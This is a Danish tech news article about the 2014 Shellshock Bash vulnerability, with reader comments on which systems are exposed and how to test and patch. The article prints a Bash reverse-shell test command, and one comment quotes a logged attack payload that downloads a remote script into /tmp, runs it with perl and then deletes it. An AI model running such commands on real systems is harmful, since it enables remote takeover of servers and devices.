Shellshock: Linux- og Mac-systemer ramt af omfattende og alvorlig sårbarhed

Blandt andet Mac, Linux og trådløse routere kan være ramt af nyopdaget, og omfattende sikkerhedshul i Unix shell'et Bash, der gør det muligt for en angriber at overtage kontrollen med et system på skræmmende simpel vis.

Et nyopdaget sikkerhedshul kan true et hav af Unix-lignende systemer. Det vil sige alt fra webservere, routere og desktop-maskiner med Mac og Linux. Det drejer sig om en sårbarhed, opdaget af opdaget af Stephane Chazelas, i den terminalbaserede kommandofortolker Bash.

Og da Bash er et endog særdeles udbredt program i et hav af miljøer, er omfanget af systemer, der kan være ramt af sårbarheden nærmest uoverskueligt.

Sikkerhedshullet gør det muligt for en angriber af udforme en særlig miljøvariabel og derefter afvikle shell-kommandoer på et sårbart system. Det oplyser blandt andet den danske it-sikkerhedsvirksomhed CSIS i en advisory, hvor sårbarheden bliver beskrevet som ‘superkritisk’.

Der er frigivet patches til flere Linux-distributioner, men sikkerhedsekspert Peter Kruse fra CSIS gætter på, at der de kommende måneder vil blive ved med at dukke eksempler op på, hvordan sårbarheden bliver udnyttet.

Blandt andet fordi en lang række systemer, herunder routere, formodes at køre sårbare Linux-versioner, som ikke nødvendigvis bliver patchet lige med det samme.

Læs også: Hul i OpenSSL: En halv million hjemmesider er sikkerhedsudsat

Derudover vil der også være adskillige servere, som ikke nødvendigvis har fået sikkerhedsopdateringer automatisk installeret, og som derfor også vil være sårbare. Eksempelvis af driftshensyn.

»Det er vigtigt at være bevidst om, hvor man måtte have potentielt sårbare systemer stående, så man kan få hentet opdateringer til dem.«

Peter Kruse påpeger, at sårbarheden er helt enkel at udnytte. Og han vurderer, at det vil resultere i deciderede orme, altså kode, der selv kan finde sårbare enheder, inficere dem og sprede sig videre derfra.

»Det er en grim sårbarhed, fordi den er så enkel at udnytte. Dermed er det også en sårbarhed, der lægger op til, at der vil komme selvreplikerende kode. Vi vil se en masse scanninger efter sårbarheden komme nu. Og jeg er bange for, vi i kølvandet på det, vil se noget kode, der automatisk vil forsøger at udnytte det her. Og det kan altså blive til en rigtig modbydelig orm, for at sige det ligeud,« siger han.

CSIS har registreret et stigende antal scanninger efter systemer, der indeholder Bash-sårbarheden.

Hvis en angriber overtager et system via Bash-sårbarheden, som er blevet navngivet Shell shock, vil angriberen i udgangspunktet kunne afvikle kode med samme rettigheder, som eksempelvis en webserver kører med.

»Det er det, der gør den rigtig slem. Den leder direkte til fuld system-kompromittering. Så det er i den rigtigt tunge kategori.«

Læs også: Danske myndigheder forbigår historisk stor internettrussel i tavshed

Det britiske teknologi-medie The Register har også beskæftiget sig med sagen. De fortæller, at Bash op til version 4.3 er sårbar.

Eksempelvis kan en webserver være sårbar overfor bash-hullet, hvis den anvender CGI-scripts, der udfører Bash-kommandoer på nogen måde. Også DHCP-klienter og OpenSSH-klienter vil være sårbare på maskiner, der anvender bash.

CSIS oplyser, at følgende eksempel, kan anvendes til at teste sårbarhedens eksistens via cgi-bin. Eksemplet vil spawne en shell på TCP port 55555:

$ env test='() { ignored;};/bin/bash -i >& /dev/tcp/127.0.0.1/55555 0>&1' bash -c "pwd"

Sikkerhedshullet har ifølge The Register eksisteret i 22 år tilbage til version 1.13 af Bash og relaterer sig til, at når en miljøvariabel bliver tildelt en funktion, vil koden indeholdt i funktionen blive eksekveret.

Peter Kruse vurderer, at der ikke er tale om en bevidst indbygget sårbarhed, men snarere et uheld.

»Jeg tror, det er kompleksiteten i softwaren. Og når der er mennesker involveret, så bliver der begået fejl.«

It-sikkerhedseksperten Robert Graham skriver følgende opfordring på sin blog:

»Scan dit netværk for ting som Telnet, FTP og gamle versioner af Apache. (masscan er ekstremt brugbart til dette). Alt hvad der responderer er formentlig en gammel enhed, er har behov for en patch til Bash. Og eftersom mange af dem sikkert ikke kan patches, er du formentlig på røven.«

Shellshock, der flere steder bliver sammenlignet med det frygtede Heartbleed sikkerhedshul, der fik 11-tal på en skala fra 1 til 10 over alvorlighed af den anerkendte sikkerhedsmand Bruce Schneier.

Tips og korrekturforslag til denne historie sendes til tip@version2.dk

Følg forløbet

Kommentarer (38)

Dennis Krøger

Jeg tror ikke at jeg kender en eneste router eller access point der bruger Bash.

De fleste jeg kender bruger BusyBox med Ash shell (for størrelsen).

Det samme med NAS (i hvert fald Synologys).

Servere skal man nok teste med det samme. Dog bruger det meste 3. parts software den almindelige Bourne Shell (sh) fordi man ikke kan regne med at Bash er på systemet, mens sh er standard system software.

Troels Henriksen

Servere skal man nok teste med det samme. Dog bruger det meste 3. parts software den almindelige Bourne Shell (sh) fordi man ikke kan regne med at Bash er på systemet, mens sh er standard system software.

En del dårlige operativsystemer har af uransagelige årsager installeret bash som /bin/sh, og disse er sårbare. Ubuntu er ikke blandt disse, og vistnok heller ikke Debian.

Jeppe Toustrup

I stedet for at forsøge at lytte på en port i den stump test kode I har skrevet, så er det her et lidt simplere eksempel. Hvis der bliver outputtet "Vulnerable" så bør Bash blive opdateret hurtigst muligt:

env test='() { ignored;}; echo "Vulnerable"' bash -c true

Bo jensen

For at eksemplet i artiklen skal virke, skal bash være oversat med
"--enable-net-redirections"
Bash i tidligere Ubuntu'er, var af sikkerheds hensyn oversat uden net redirections.

Dennis Krøger

En del dårlige operativsystemer har af uransagelige årsager installeret bash som /bin/sh, og disse er sårbare. Ubuntu er ikke blandt disse, og vistnok heller ikke Debian.


Det er klart, men hvis Bash ikke bliver benyttet af scripts, kan hullet ikke udnyttes.

Dog har sikkerhedsfejl det med at være værre end man først antager, så selvfølgelig skal det fikses ASAP.

Jeg synes for øvrigt ikke at "dårlige operativsystemeer" installerer Bash, eller hvilken som helst anden shell, som default. Det er smag og behag hvilken shell man foretrækker, også (især?) hvis man laver en Unix/Linux distribution. Det er til gengæld en tåbelig idé hvis 3. parts software kræver andet end sh (og nok også lidt ufleksibelt hvis system scripts gør).

Troels Henriksen

Jeg synes for øvrigt ikke at "dårlige operativsystemeer" installerer Bash, eller hvilken som helst anden shell, som default. Det er smag og behag hvilken shell man foretrækker, også (især?) hvis man laver en Unix/Linux distribution.

Problemet er ikke at have bash tilgængelig som interaktiv shell, men at installere bash under navnet /bin/sh, således at man får en masse ekstra bash-features (med potentiale for fejl som denne), hvor man i virkeligheden burde have haft en meget mere featurefattig POSIX shell.

Det synes jeg ikke er smag og behag. At have bash som /bin/sh er ganske enkelt dårligt design.

Dennis Krøger
Troels Henriksen

Se DER er vi helt enige. Er der virkelig systemer der gør det? :s

Red Hat og CentOS gør vist. I gamle dage var det meget almindeligt for Linux-distributioner at have bash som /bin/sh, så det er nok et levn fra dengang.

FreeBSD (og de andre BSD'er) har altid været mere fornuftige, men MacOS X har af uransagelige årsager også bash som /bin/sh.

Thue Kristensen

En del dårlige operativsystemer har af uransagelige årsager installeret bash som /bin/sh, og disse er sårbare. Ubuntu er ikke blandt disse, og vistnok heller ikke Debian.

Som jeg har forstået det, så har Linux historisk linket bash til /bin/sh . Det er de gode distributioner, som Debian og Ubuntu, som er gået væk fra det.

https://lwn.net/Articles/343924/

Michael Rasmussen

En patches Debian Stable bør give følgende output:
$ env test='() { ignored;}; echo "Vulnerable"' bash -c true
bash: warning: test: ignoring function definition attempt
bash: error importing function definition for `test'

Kurt Mielke

Det er for at imødegå, eller begrænse konsekvenserne af en sådan fejl, at mange gør sig den ekstra ulejligjhed at:

Køre flest mulige services i et chrooot environment
Køre alle services som uprevilligerede brugere
Anvende SELINUX
Have firewallen stramt lukket ud over det absolut nødvendige
Have faste, rigide og ofte udførte procedurer for opdatering
... fyld selv ind for dit system:-) ...

Jeg er ingen helgen selv, men det er vel i stunder som denne, man godt kan gen-overveje ens "små dovne over-hvor-gærdet-er-lavest"-løsninger?

Christian Nobel

I stedet for at forsøge at lytte på en port i den stump test kode I har skrevet, så er det her et lidt simplere eksempel. Hvis der bliver outputtet "Vulnerable" så bør Bash blive opdateret hurtigst muligt:

Og det gjorde den så på en Linux Mint 17 tidligere i dag, men efter den opdatering der er kommet i løbet af dagen, så er det i orden.

Men bevares det er jo heller ikke CSC her.


Bortset fra det, er der nogen der kan fortælle hvordan denne sårbarhed kan misbruges på en webserver, hvor den eneste tilgang fra det store grimme internet er gennem port 80?

Steen Poulsen

Prøvede lige at køre "testen" i tcsh, ksh, zsh, csh - alle køre "pwd" kommandoen ...?
Men det er jo med "bruger" rettighederne, man skifter jo ikke privilegie - så hvad er problemet ? Er det det at man via cgi kan få web serveren til at spawne en bash på en tilfældig port, som man så kan tage fat i - HVIS der er åbnet gennem firewallen ? hmmmmm.... :-) må prøve det på min joomla side ...

Finn Christensen

Dog har sikkerhedsfejl det med at være værre end man først antager, så selvfølgelig skal det fikses ASAP.

Yes og for Linus/Ubuntu er der ifm. Bash pt fundet en håndfuld:

CVE-2014-6271 er rettet i Ubuntu
Denne: (env test='() { ignored;}; echo "Vulnerable"' bash -c true

CVE-2014-6277 detaljer pt. ikke publiceret

CVE-2014-7169 ikke rette i Ubuntu / ingen opdatering
CVE-2014-7186 -do-
CVE-2014-7187 -do-

Maciej Szeliga

Jeg har ikke set nogle endnu. De er alle kodet op mod /bin/sh.


Har du checket om din sh ikke bare er et link til bash (eller ligefrem bare en plug-in erstatning)... det er den på rigtigt mange systemer.
Når jeg laver en sh --version på en OpenSuSE får jeg at vide at det er en GNU bash.
Det er meget få systemer nu som har en "ægte" sh og det er så vidt vides udelukkende rigtige licensierede UNIX systemer.

Troels Henriksen

Når jeg laver en sh --version på en OpenSuSE får jeg at vide at det er en GNU bash.
Det er meget få systemer nu som har en "ægte" sh og det er så vidt vides udelukkende rigtige licensierede UNIX systemer.

Du bør virkelig brokke dig til SuSE-udviklerne, for der er ingen fordel ved at have bash som /bin/sh. Ubuntu og Debian har vist, at der er væsentlige ydelsesfordele ved at bruge dash i stedet, og Shellshock har (igen) demonstreret, at unødvendige features ofte er arnested for sikkerhedsproblemer.

David Konrad

Bortset fra det, er der nogen der kan fortælle hvordan denne sårbarhed kan misbruges på en webserver

Jeg kan komme med et eksempel på hvordan nogen prøver, om ikke andet - log fra i fredags (fra en test server) :

173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""

Peter Stricker

Du bør virkelig brokke dig til SuSE-udviklerne, for der er ingen fordel ved at have bash som /bin/sh.


Undskyld, men jeg forstår virkelig ikke, hvorfor dette giver grund til at brokke sig. De har foretaget et valg, og det har virket fint indtil Shellshock, og gør det stadig efter at denne fejl nu er rettet.

Vi er vel enige om, at sh, Bourne Shell, kun findes på en "rigtig" Unix, og ikke på nogen Linux distributioner. Altså kan /bin/sh ikke være den rigtige sh, men må være enten en kompatibel shell eller, som det vist altid er, et link til en sådan.

Uanset om den kompatible shell er bash eller dash eller en hvilken som helst anden, så er der mig bekendt ingen af dem, der forbyder brug af deres egne extensions til sh, hvis de kører et script, der starter med #!/bin/sh. Det har betydet, at der er lavet shell scripts, der påstår at de kan køres på sh, men som i virkeligheden kræver bash. Det er et problem, som OpenSuse faciliterer, men vel næppe kan siges at være skyldige i.

Jeg synes, at Ubuntus valg af dash som default /bin/sh og bash som default login shell virker som et meget fornuftigt valg, og det kan da godt være, at man skulle opfordre OpenSuse til at skifte. Men ligefrem at brokke mig over deres valg, det vil jeg nu have det skidt med. Jeg har været tilfreds med SuSE og OpenSuse i mange år, og Shellshock blev rettet med det samme. Ikke noget med at vente til næste Patch Tuesday.

Peter Stricker

Det vigtigste er bare at reducere angrebsoverfladen.


Det var vist ikke Ubuntus begrundelse for at skifte fra bash til dash.

Og hvis du mener, at bash stadig er en sikkerhedsrisiko efter at Shellshock er rettet, så bør Ubuntu vel også udskifte den som default login shell og helt fjerne den fra systemet. Du kan jo stadig køre et bash script på Ubuntu, hvis det starter med #!/bin/bash.

Log ind eller opret en konto for at skrive kommentarer

Pressemeddelelser

Affecto Denmark reaches highest Microsoft Partner level

Affecto Denmark, a leading provider of data-driven solutions, has reached the highest level in the Microsoft partner ecosystem: Managed Partner.
22. jun 2017

Innovate your business with Affecto's IoT Explorer Kit

Are you unsure if Internet of Things fits your business strategy?
31. maj 2017

Big Data Lake Summit: Fast and Trusted Insights

If you want to outpace, outsmart and outperform your competition in a digital world, you need trusted data that can be turned into actionable business insights at speed.
24. apr 2017